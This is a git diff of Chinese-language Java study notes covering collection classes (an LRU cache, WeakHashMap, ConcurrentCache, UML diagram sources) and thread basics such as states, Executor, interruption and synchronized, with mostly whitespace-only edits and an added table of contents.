+protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
+    return false;
 }
 ```
 
-### LRU 缓存
+### LRU 缓存
 
-以下是使用 LinkedHashMap 实现的一个 LRU 缓存：
+以下是使用 LinkedHashMap 实现的一个 LRU 缓存：
 
-- 设定最大缓存空间 MAX_ENTRIES  为 3；
-- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LRU 顺序；
-- 覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
+- 设定最大缓存空间 MAX_ENTRIES  为 3；
+- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LRU 顺序；
+- 覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
 
 ```java
-class LRUCache<K, V> extends LinkedHashMap<K, V> {
-    private static final int MAX_ENTRIES = 3;
+class LRUCache<K, V> extends LinkedHashMap<K, V> {
+    private static final int MAX_ENTRIES = 3;
 
-    protected boolean removeEldestEntry(Map.Entry eldest) {
-        return size() > MAX_ENTRIES;
-    }
+    protected boolean removeEldestEntry(Map.Entry eldest) {
+        return size() > MAX_ENTRIES;
+    }
 
-    LRUCache() {
-        super(MAX_ENTRIES, 0.75f, true);
-    }
+    LRUCache() {
+        super(MAX_ENTRIES, 0.75f, true);
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    LRUCache<Integer, String> cache = new LRUCache<>();
-    cache.put(1, "a");
-    cache.put(2, "b");
-    cache.put(3, "c");
-    cache.get(1);
-    cache.put(4, "d");
-    System.out.println(cache.keySet());
+public static void main(String[] args) {
+    LRUCache<Integer, String> cache = new LRUCache<>();
+    cache.put(1, "a");
+    cache.put(2, "b");
+    cache.put(3, "c");
+    cache.get(1);
+    cache.put(4, "d");
+    System.out.println(cache.keySet());
 }
 ```
 
 ```html
-[3, 1, 4]
+[3, 1, 4]
 ```
 
-## WeakHashMap
+## WeakHashMap
 
-### 存储结构
+### 存储结构
 
-WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
+WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
 
-WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
+WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
 
 ```java
-private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
+private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
 ```
 
-### ConcurrentCache
+### ConcurrentCache
 
-Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。
+Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。
 
-ConcurrentCache 采取的是分代缓存：
+ConcurrentCache 采取的是分代缓存：
 
-- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
-- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，这些老对象会被垃圾收集器回收。
-- 当调用  get() 方法时，会先从 eden 区获取，如果没有找到的话再到 longterm 获取，当从 longterm 获取到就把对象放入 eden 中，从而保证经常被访问的节点不容易被回收。
-- 当调用 put() 方法时，如果 eden 的大小超过了 size，那么就将 eden 中的所有对象都放入 longterm 中，利用虚拟机回收掉一部分不经常使用的对象。
+- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
+- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，这些老对象会被垃圾收集器回收。
+- 当调用  get() 方法时，会先从 eden 区获取，如果没有找到的话再到 longterm 获取，当从 longterm 获取到就把对象放入 eden 中，从而保证经常被访问的节点不容易被回收。
+- 当调用 put() 方法时，如果 eden 的大小超过了 size，那么就将 eden 中的所有对象都放入 longterm 中，利用虚拟机回收掉一部分不经常使用的对象。
 
 ```java
-public final class ConcurrentCache<K, V> {
+public final class ConcurrentCache<K, V> {
 
-    private final int size;
+    private final int size;
 
-    private final Map<K, V> eden;
+    private final Map<K, V> eden;
 
-    private final Map<K, V> longterm;
+    private final Map<K, V> longterm;
 
-    public ConcurrentCache(int size) {
-        this.size = size;
-        this.eden = new ConcurrentHashMap<>(size);
-        this.longterm = new WeakHashMap<>(size);
-    }
+    public ConcurrentCache(int size) {
+        this.size = size;
+        this.eden = new ConcurrentHashMap<>(size);
+        this.longterm = new WeakHashMap<>(size);
+    }
 
-    public V get(K k) {
-        V v = this.eden.get(k);
-        if (v == null) {
-            v = this.longterm.get(k);
-            if (v != null)
-                this.eden.put(k, v);
-        }
-        return v;
-    }
+    public V get(K k) {
+        V v = this.eden.get(k);
+        if (v == null) {
+            v = this.longterm.get(k);
+            if (v != null)
+                this.eden.put(k, v);
+        }
+        return v;
+    }
 
-    public void put(K k, V v) {
-        if (this.eden.size() >= size) {
-            this.longterm.putAll(this.eden);
-            this.eden.clear();
-        }
-        this.eden.put(k, v);
-    }
+    public void put(K k, V v) {
+        if (this.eden.size() >= size) {
+            this.longterm.putAll(this.eden);
+            this.eden.clear();
+        }
+        this.eden.put(k, v);
+    }
 }
 ```
 
-# 附录
+# 附录
 
-Collection 绘图源码：
+Collection 绘图源码：
 
 ```
 @startuml
 
-interface Collection
-interface Set
-interface List
-interface Queue
-interface SortSet
+interface Collection
+interface Set
+interface List
+interface Queue
+interface SortSet
 
-class HashSet
-class LinkedHashSet
-class TreeSet
-class ArrayList
-class Vector
-class LinkedList
-class PriorityQueue
+class HashSet
+class LinkedHashSet
+class TreeSet
+class ArrayList
+class Vector
+class LinkedList
+class PriorityQueue
 
 
-Collection <|-- Set
-Collection <|-- List
-Collection <|-- Queue
-Set <|-- SortSet
+Collection <|-- Set
+Collection <|-- List
+Collection <|-- Queue
+Set <|-- SortSet
 
-Set <|.. HashSet
-Set <|.. LinkedHashSet
-SortSet <|.. TreeSet
-List <|.. ArrayList
-List <|.. Vector
-List <|.. LinkedList
-Queue <|.. LinkedList
-Queue <|.. PriorityQueue
+Set <|.. HashSet
+Set <|.. LinkedHashSet
+SortSet <|.. TreeSet
+List <|.. ArrayList
+List <|.. Vector
+List <|.. LinkedList
+Queue <|.. LinkedList
+Queue <|.. PriorityQueue
 
 @enduml
 ```
 
-Map 绘图源码
+Map 绘图源码
 
 ```
 @startuml
 
-interface Map
-interface SortMap
+interface Map
+interface SortMap
 
-class HashTable
-class LinkedHashMap
-class HashMap
-class TreeMap
+class HashTable
+class LinkedHashMap
+class HashMap
+class TreeMap
 
-Map <|.. HashTable
-Map <|.. LinkedHashMap
-Map <|.. HashMap
-Map <|-- SortMap
-SortMap <|.. TreeMap
+Map <|.. HashTable
+Map <|.. LinkedHashMap
+Map <|.. HashMap
+Map <|-- SortMap
+SortMap <|.. TreeMap
 
 @enduml
 ```
@@ -1137,44 +1159,36 @@ SortMap <|.. TreeMap
 ```
 @startuml
 
-interface Iterable
-interface Collection
-interface List
-interface Set
-interface Queue
-interface Iterator
-interface ListIterator
+interface Iterable
+interface Collection
+interface List
+interface Set
+interface Queue
+interface Iterator
+interface ListIterator
 
-Iterable <|-- Collection
-Collection <|.. List
-Collection <|.. Set
-Collection <|-- Queue
-Iterator <-- Iterable
-Iterator <|.. ListIterator
-ListIterator <-- List
+Iterable <|-- Collection
+Collection <|.. List
+Collection <|.. Set
+Collection <|-- Queue
+Iterator <-- Iterable
+Iterator <|.. ListIterator
+ListIterator <-- List
 
 @enduml
 ```
 
-# 参考资料
+# 参考资料
 
-- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
-- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
-- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html)
-- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
-- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
-- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
-- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
-- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
-- [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
-- [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
+- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
+- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
+- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
+- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html)
+- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
+- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
+- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
+- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
+- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
+- [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
+- [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
 
----bottom---CyC---
-![](index_files/VP4n3i8m34Ntd28NQ4_0KCJ2q044Oez.png)
-![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png)
-![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png)
-![](index_files/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png)
-![](index_files/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png)
-![](index_files/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png)
-![](index_files/3fdfc89d-719e-4d93-b518-29fa612b3b18.png)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index e12e48b2..b4f3693b 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,562 +1,624 @@
-# 一、线程状态转换
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、线程状态转换](#一线程状态转换)
+    * [新建（New）](#新建new)
+    * [可运行（Runnable）](#可运行runnable)
+    * [阻塞（Blocking）](#阻塞blocking)
+    * [无限期等待（Waiting）](#无限期等待waiting)
+    * [限期等待（Timed Waiting）](#限期等待timed-waiting)
+    * [死亡（Terminated）](#死亡terminated)
+* [二、使用线程](#二使用线程)
+    * [实现 Runnable 接口](#实现-runnable-接口)
+    * [实现 Callable 接口](#实现-callable-接口)
+    * [继承 Thread 类](#继承-thread-类)
+    * [实现接口 VS 继承 Thread](#实现接口-vs-继承-thread)
+* [三、基础线程机制](#三基础线程机制)
+    * [Executor](#executor)
+    * [Daemon](#daemon)
+    * [sleep()](#sleep)
+    * [yield()](#yield)
+* [四、中断](#四中断)
+    * [InterruptedException](#interruptedexception)
+    * [interrupted()](#interrupted)
+    * [Executor 的中断操作](#executor-的中断操作)
+* [五、互斥同步](#五互斥同步)
+    * [synchronized](#synchronized)
+    * [ReentrantLock](#reentrantlock)
+    * [比较](#比较)
+    * [使用选择](#使用选择)
+* [六、线程之间的协作](#六线程之间的协作)
+    * [join()](#join)
+    * [wait() notify() notifyAll()](#wait-notify-notifyall)
+    * [await() signal() signalAll()](#await-signal-signalall)
+* [七、J.U.C - AQS](#七juc---aqs)
+    * [CountdownLatch](#countdownlatch)
+    * [CyclicBarrier](#cyclicbarrier)
+    * [Semaphore](#semaphore)
+* [八、J.U.C - 其它组件](#八juc---其它组件)
+    * [FutureTask](#futuretask)
+    * [BlockingQueue](#blockingqueue)
+    * [ForkJoin](#forkjoin)
+* [九、线程不安全示例](#九线程不安全示例)
+* [十、Java 内存模型](#十java-内存模型)
+    * [主内存与工作内存](#主内存与工作内存)
+    * [内存间交互操作](#内存间交互操作)
+    * [内存模型三大特性](#内存模型三大特性)
+    * [先行发生原则](#先行发生原则)
+* [十一、线程安全](#十一线程安全)
+    * [不可变](#不可变)
+    * [互斥同步](#互斥同步)
+    * [非阻塞同步](#非阻塞同步)
+    * [无同步方案](#无同步方案)
+* [十二、锁优化](#十二锁优化)
+    * [自旋锁](#自旋锁)
+    * [锁消除](#锁消除)
+    * [锁粗化](#锁粗化)
+    * [轻量级锁](#轻量级锁)
+    * [偏向锁](#偏向锁)
+* [十三、多线程开发良好的实践](#十三多线程开发良好的实践)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-<img src="index_files/ace830df-9919-48ca-91b5-60b193f593d2.png" width=""/>
 
-## 新建（New）
+# 一、线程状态转换
+
+<div align="center"> <img src="pics/ace830df-9919-48ca-91b5-60b193f593d2.png" width=""/> </div><br>
+
+## 新建（New）
 
 创建后尚未启动。
 
-## 可运行（Runnable）
+## 可运行（Runnable）
 
-可能正在运行，也可能正在等待 CPU 时间片。
+可能正在运行，也可能正在等待 CPU 时间片。
 
-包含了操作系统线程状态中的 Running 和 Ready。
+包含了操作系统线程状态中的 Running 和 Ready。
 
-## 阻塞（Blocking）
+## 阻塞（Blocking）
 
 等待获取一个排它锁，如果其线程释放了锁就会结束此状态。
 
-## 无限期等待（Waiting）
+## 无限期等待（Waiting）
 
-等待其它线程显式地唤醒，否则不会被分配 CPU 时间片。
+等待其它线程显式地唤醒，否则不会被分配 CPU 时间片。
 
-| 进入方法 | 退出方法 |
-| --- | --- |
-| 没有设置 Timeout 参数的 Object.wait() 方法 | Object.notify() / Object.notifyAll() |
-| 没有设置 Timeout 参数的 Thread.join() 方法 | 被调用的线程执行完毕 |
-| LockSupport.park() 方法 | - |
+| 进入方法 | 退出方法 |
+| --- | --- |
+| 没有设置 Timeout 参数的 Object.wait() 方法 | Object.notify() / Object.notifyAll() |
+| 没有设置 Timeout 参数的 Thread.join() 方法 | 被调用的线程执行完毕 |
+| LockSupport.park() 方法 | - |
 
-## 限期等待（Timed Waiting）
+## 限期等待（Timed Waiting）
 
 无需等待其它线程显式地唤醒，在一定时间之后会被系统自动唤醒。
 
-调用 Thread.sleep() 方法使线程进入限期等待状态时，常常用“使一个线程睡眠”进行描述。
+调用 Thread.sleep() 方法使线程进入限期等待状态时，常常用“使一个线程睡眠”进行描述。
 
-调用 Object.wait() 方法使线程进入限期等待或者无限期等待时，常常用“挂起一个线程”进行描述。
+调用 Object.wait() 方法使线程进入限期等待或者无限期等待时，常常用“挂起一个线程”进行描述。
 
 睡眠和挂起是用来描述行为，而阻塞和等待用来描述状态。
 
-阻塞和等待的区别在于，阻塞是被动的，它是在等待获取一个排它锁。而等待是主动的，通过调用 Thread.sleep() 和 Object.wait() 等方法进入。
+阻塞和等待的区别在于，阻塞是被动的，它是在等待获取一个排它锁。而等待是主动的，通过调用 Thread.sleep() 和 Object.wait() 等方法进入。
 
-| 进入方法 | 退出方法 |
-| --- | --- |
-| Thread.sleep() 方法 | 时间结束 |
-| 设置了 Timeout 参数的 Object.wait() 方法 | 时间结束 / Object.notify() / Object.notifyAll()  |
-| 设置了 Timeout 参数的 Thread.join() 方法 | 时间结束 / 被调用的线程执行完毕 |
-| LockSupport.parkNanos() 方法 | - |
-| LockSupport.parkUntil() 方法 | - |
+| 进入方法 | 退出方法 |
+| --- | --- |
+| Thread.sleep() 方法 | 时间结束 |
+| 设置了 Timeout 参数的 Object.wait() 方法 | 时间结束 / Object.notify() / Object.notifyAll()  |
+| 设置了 Timeout 参数的 Thread.join() 方法 | 时间结束 / 被调用的线程执行完毕 |
+| LockSupport.parkNanos() 方法 | - |
+| LockSupport.parkUntil() 方法 | - |
 
-## 死亡（Terminated）
+## 死亡（Terminated）
 
 可以是线程结束任务之后自己结束，或者产生了异常而结束。
 
-# 二、使用线程
+# 二、使用线程
 
 有三种使用线程的方法：
 
-- 实现 Runnable 接口；
-- 实现 Callable 接口；
-- 继承 Thread 类。
+- 实现 Runnable 接口；
+- 实现 Callable 接口；
+- 继承 Thread 类。
 
-实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务，不是真正意义上的线程，因此最后还需要通过 Thread 来调用。可以说任务是通过线程驱动从而执行的。
+实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务，不是真正意义上的线程，因此最后还需要通过 Thread 来调用。可以说任务是通过线程驱动从而执行的。
 
-## 实现 Runnable 接口
+## 实现 Runnable 接口
 
-需要实现 run() 方法。
+需要实现 run() 方法。
 
-通过 Thread 调用 start() 方法来启动线程。
+通过 Thread 调用 start() 方法来启动线程。
 
 ```java
-public class MyRunnable implements Runnable {
-    public void run() {
-        // ...
-    }
+public class MyRunnable implements Runnable {
+    public void run() {
+        // ...
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    MyRunnable instance = new MyRunnable();
-    Thread thread = new Thread(instance);
-    thread.start();
+public static void main(String[] args) {
+    MyRunnable instance = new MyRunnable();
+    Thread thread = new Thread(instance);
+    thread.start();
 }
 ```
 
-## 实现 Callable 接口
+## 实现 Callable 接口
 
-与 Runnable 相比，Callable 可以有返回值，返回值通过 FutureTask 进行封装。
+与 Runnable 相比，Callable 可以有返回值，返回值通过 FutureTask 进行封装。
 
 ```java
-public class MyCallable implements Callable<Integer> {
-    public Integer call() {
-        return 123;
-    }
+public class MyCallable implements Callable<Integer> {
+    public Integer call() {
+        return 123;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws ExecutionException, InterruptedException {
-    MyCallable mc = new MyCallable();
-    FutureTask<Integer> ft = new FutureTask<>(mc);
-    Thread thread = new Thread(ft);
-    thread.start();
-    System.out.println(ft.get());
+public static void main(String[] args) throws ExecutionException, InterruptedException {
+    MyCallable mc = new MyCallable();
+    FutureTask<Integer> ft = new FutureTask<>(mc);
+    Thread thread = new Thread(ft);
+    thread.start();
+    System.out.println(ft.get());
 }
 ```
 
-## 继承 Thread 类
+## 继承 Thread 类
 
-同样也是需要实现 run() 方法，因为 Thread 类也实现了 Runable 接口。
+同样也是需要实现 run() 方法，因为 Thread 类也实现了 Runable 接口。
 
-当调用 start() 方法启动一个线程时，虚拟机会将该线程放入就绪队列中等待被调度，当一个线程被调度时会执行该线程的 run() 方法。
+当调用 start() 方法启动一个线程时，虚拟机会将该线程放入就绪队列中等待被调度，当一个线程被调度时会执行该线程的 run() 方法。
 
 ```java
-public class MyThread extends Thread {
-    public void run() {
-        // ...
-    }
+public class MyThread extends Thread {
+    public void run() {
+        // ...
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    MyThread mt = new MyThread();
-    mt.start();
+public static void main(String[] args) {
+    MyThread mt = new MyThread();
+    mt.start();
 }
 ```
 
-## 实现接口 VS 继承 Thread
+## 实现接口 VS 继承 Thread
 
 实现接口会更好一些，因为：
 
-- Java 不支持多重继承，因此继承了 Thread 类就无法继承其它类，但是可以实现多个接口；
-- 类可能只要求可执行就行，继承整个 Thread 类开销过大。
+- Java 不支持多重继承，因此继承了 Thread 类就无法继承其它类，但是可以实现多个接口；
+- 类可能只要求可执行就行，继承整个 Thread 类开销过大。
 
-# 三、基础线程机制
+# 三、基础线程机制
 
-## Executor
+## Executor
 
-Executor 管理多个异步任务的执行，而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰，不需要进行同步操作。
+Executor 管理多个异步任务的执行，而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰，不需要进行同步操作。
 
-主要有三种 Executor：
+主要有三种 Executor：
 
-- CachedThreadPool：一个任务创建一个线程；
-- FixedThreadPool：所有任务只能使用固定大小的线程；
-- SingleThreadExecutor：相当于大小为 1 的 FixedThreadPool。
+- CachedThreadPool：一个任务创建一个线程；
+- FixedThreadPool：所有任务只能使用固定大小的线程；
+- SingleThreadExecutor：相当于大小为 1 的 FixedThreadPool。
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < 5; i++) {
-        executorService.execute(new MyRunnable());
-    }
-    executorService.shutdown();
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < 5; i++) {
+        executorService.execute(new MyRunnable());
+    }
+    executorService.shutdown();
 }
 ```
 
-## Daemon
+## Daemon
 
 守护线程是程序运行时在后台提供服务的线程，不属于程序中不可或缺的部分。
 
 当所有非守护线程结束时，程序也就终止，同时会杀死所有守护线程。
 
-main() 属于非守护线程。
+main() 属于非守护线程。
 
-使用 setDaemon() 方法将一个线程设置为守护线程。
+使用 setDaemon() 方法将一个线程设置为守护线程。
 
 ```java
-public static void main(String[] args) {
-    Thread thread = new Thread(new MyRunnable());
-    thread.setDaemon(true);
+public static void main(String[] args) {
+    Thread thread = new Thread(new MyRunnable());
+    thread.setDaemon(true);
 }
 ```
 
-## sleep()
+## sleep()
 
-Thread.sleep(millisec) 方法会休眠当前正在执行的线程，millisec 单位为毫秒。
+Thread.sleep(millisec) 方法会休眠当前正在执行的线程，millisec 单位为毫秒。
 
-sleep() 可能会抛出 InterruptedException，因为异常不能跨线程传播回 main() 中，因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。
+sleep() 可能会抛出 InterruptedException，因为异常不能跨线程传播回 main() 中，因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。
 
 ```java
-public void run() {
-    try {
-        Thread.sleep(3000);
-    } catch (InterruptedException e) {
-        e.printStackTrace();
-    }
+public void run() {
+    try {
+        Thread.sleep(3000);
+    } catch (InterruptedException e) {
+        e.printStackTrace();
+    }
 }
 ```
 
-## yield()
+## yield()
 
-对静态方法 Thread.yield() 的调用声明了当前线程已经完成了生命周期中最重要的部分，可以切换给其它线程来执行。该方法只是对线程调度器的一个建议，而且也只是建议具有相同优先级的其它线程可以运行。
+对静态方法 Thread.yield() 的调用声明了当前线程已经完成了生命周期中最重要的部分，可以切换给其它线程来执行。该方法只是对线程调度器的一个建议，而且也只是建议具有相同优先级的其它线程可以运行。
 
 ```java
-public void run() {
-    Thread.yield();
+public void run() {
+    Thread.yield();
 }
 ```
 
-# 四、中断
+# 四、中断
 
 一个线程执行完毕之后会自动结束，如果在运行过程中发生异常也会提前结束。
 
-## InterruptedException
+## InterruptedException
 
-通过调用一个线程的 interrupt() 来中断该线程，如果该线程处于阻塞、限期等待或者无限期等待状态，那么就会抛出 InterruptedException，从而提前结束该线程。但是不能中断 I/O 阻塞和 synchronized 锁阻塞。
+通过调用一个线程的 interrupt() 来中断该线程，如果该线程处于阻塞、限期等待或者无限期等待状态，那么就会抛出 InterruptedException，从而提前结束该线程。但是不能中断 I/O 阻塞和 synchronized 锁阻塞。
 
-对于以下代码，在 main() 中启动一个线程之后再中断它，由于线程中调用了 Thread.sleep() 方法，因此会抛出一个 InterruptedException，从而提前结束线程，不执行之后的语句。
+对于以下代码，在 main() 中启动一个线程之后再中断它，由于线程中调用了 Thread.sleep() 方法，因此会抛出一个 InterruptedException，从而提前结束线程，不执行之后的语句。
 
 ```java
-public class InterruptExample {
+public class InterruptExample {
 
-    private static class MyThread1 extends Thread {
-        @Override
-        public void run() {
-            try {
-                Thread.sleep(2000);
-                System.out.println("Thread run");
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
+    private static class MyThread1 extends Thread {
+        @Override
+        public void run() {
+            try {
+                Thread.sleep(2000);
+                System.out.println("Thread run");
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    Thread thread1 = new MyThread1();
-    thread1.start();
-    thread1.interrupt();
-    System.out.println("Main run");
+public static void main(String[] args) throws InterruptedException {
+    Thread thread1 = new MyThread1();
+    thread1.start();
+    thread1.interrupt();
+    System.out.println("Main run");
 }
 ```
 
 ```html
-Main run
-java.lang.InterruptedException: sleep interrupted
-    at java.lang.Thread.sleep(Native Method)
-    at InterruptExample.lambda$main$0(InterruptExample.java:5)
-    at InterruptExample$$Lambda$1/713338599.run(Unknown Source)
-    at java.lang.Thread.run(Thread.java:745)
+Main run
+java.lang.InterruptedException: sleep interrupted
+    at java.lang.Thread.sleep(Native Method)
+    at InterruptExample.lambda$main$0(InterruptExample.java:5)
+    at InterruptExample$$Lambda$1/713338599.run(Unknown Source)
+    at java.lang.Thread.run(Thread.java:745)
 ```
 
-## interrupted()
+## interrupted()
 
-如果一个线程的 run() 方法执行一个无限循环，并且没有执行 sleep() 等会抛出 InterruptedException 的操作，那么调用线程的 interrupt() 方法就无法使线程提前结束。
+如果一个线程的 run() 方法执行一个无限循环，并且没有执行 sleep() 等会抛出 InterruptedException 的操作，那么调用线程的 interrupt() 方法就无法使线程提前结束。
 
-但是调用 interrupt() 方法会设置线程的中断标记，此时调用 interrupted() 方法会返回 true。因此可以在循环体中使用 interrupted() 方法来判断线程是否处于中断状态，从而提前结束线程。
+但是调用 interrupt() 方法会设置线程的中断标记，此时调用 interrupted() 方法会返回 true。因此可以在循环体中使用 interrupted() 方法来判断线程是否处于中断状态，从而提前结束线程。
 
 ```java
-public class InterruptExample {
+public class InterruptExample {
 
-    private static class MyThread2 extends Thread {
-        @Override
-        public void run() {
-            while (!interrupted()) {
-                // ..
-            }
-            System.out.println("Thread end");
-        }
-    }
+    private static class MyThread2 extends Thread {
+        @Override
+        public void run() {
+            while (!interrupted()) {
+                // ..
+            }
+            System.out.println("Thread end");
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    Thread thread2 = new MyThread2();
-    thread2.start();
-    thread2.interrupt();
+public static void main(String[] args) throws InterruptedException {
+    Thread thread2 = new MyThread2();
+    thread2.start();
+    thread2.interrupt();
 }
 ```
 
 ```html
-Thread end
+Thread end
 ```
 
-## Executor 的中断操作
+## Executor 的中断操作
 
-调用 Executor 的 shutdown() 方法会等待线程都执行完毕之后再关闭，但是如果调用的是 shutdownNow() 方法，则相当于调用每个线程的 interrupt() 方法。
+调用 Executor 的 shutdown() 方法会等待线程都执行完毕之后再关闭，但是如果调用的是 shutdownNow() 方法，则相当于调用每个线程的 interrupt() 方法。
 
-以下使用 Lambda 创建线程，相当于创建了一个匿名内部线程。
+以下使用 Lambda 创建线程，相当于创建了一个匿名内部线程。
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> {
-        try {
-            Thread.sleep(2000);
-            System.out.println("Thread run");
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    });
-    executorService.shutdownNow();
-    System.out.println("Main run");
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> {
+        try {
+            Thread.sleep(2000);
+            System.out.println("Thread run");
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    });
+    executorService.shutdownNow();
+    System.out.println("Main run");
 }
 ```
 
 ```html
-Main run
-java.lang.InterruptedException: sleep interrupted
-    at java.lang.Thread.sleep(Native Method)
-    at ExecutorInterruptExample.lambda$main$0(ExecutorInterruptExample.java:9)
-    at ExecutorInterruptExample$$Lambda$1/1160460865.run(Unknown Source)
-    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
-    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
-    at java.lang.Thread.run(Thread.java:745)
+Main run
+java.lang.InterruptedException: sleep interrupted
+    at java.lang.Thread.sleep(Native Method)
+    at ExecutorInterruptExample.lambda$main$0(ExecutorInterruptExample.java:9)
+    at ExecutorInterruptExample$$Lambda$1/1160460865.run(Unknown Source)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+    at java.lang.Thread.run(Thread.java:745)
 ```
 
-如果只想中断 Executor 中的一个线程，可以通过使用 submit() 方法来提交一个线程，它会返回一个 Future<?> 对象，通过调用该对象的 cancel(true) 方法就可以中断线程。
+如果只想中断 Executor 中的一个线程，可以通过使用 submit() 方法来提交一个线程，它会返回一个 Future<?> 对象，通过调用该对象的 cancel(true) 方法就可以中断线程。
 
 ```java
-Future<?> future = executorService.submit(() -> {
-    // ..
+Future<?> future = executorService.submit(() -> {
+    // ..
 });
 future.cancel(true);
 ```
 
-# 五、互斥同步
+# 五、互斥同步
 
-Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问，第一个是 JVM 实现的 synchronized，而另一个是 JDK 实现的 ReentrantLock。
+Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问，第一个是 JVM 实现的 synchronized，而另一个是 JDK 实现的 ReentrantLock。
 
-## synchronized
+## synchronized
 
-**1. 同步一个代码块**
+**1. 同步一个代码块** 
 
 ```java
-public void func() {
-    synchronized (this) {
-        // ...
-    }
+public void func() {
+    synchronized (this) {
+        // ...
+    }
 }
 ```
 
 它只作用于同一个对象，如果调用两个对象上的同步代码块，就不会进行同步。
 
-对于以下代码，使用 ExecutorService 执行了两个线程，由于调用的是同一个对象的同步代码块，因此这两个线程会进行同步，当一个线程进入同步语句块时，另一个线程就必须等待。
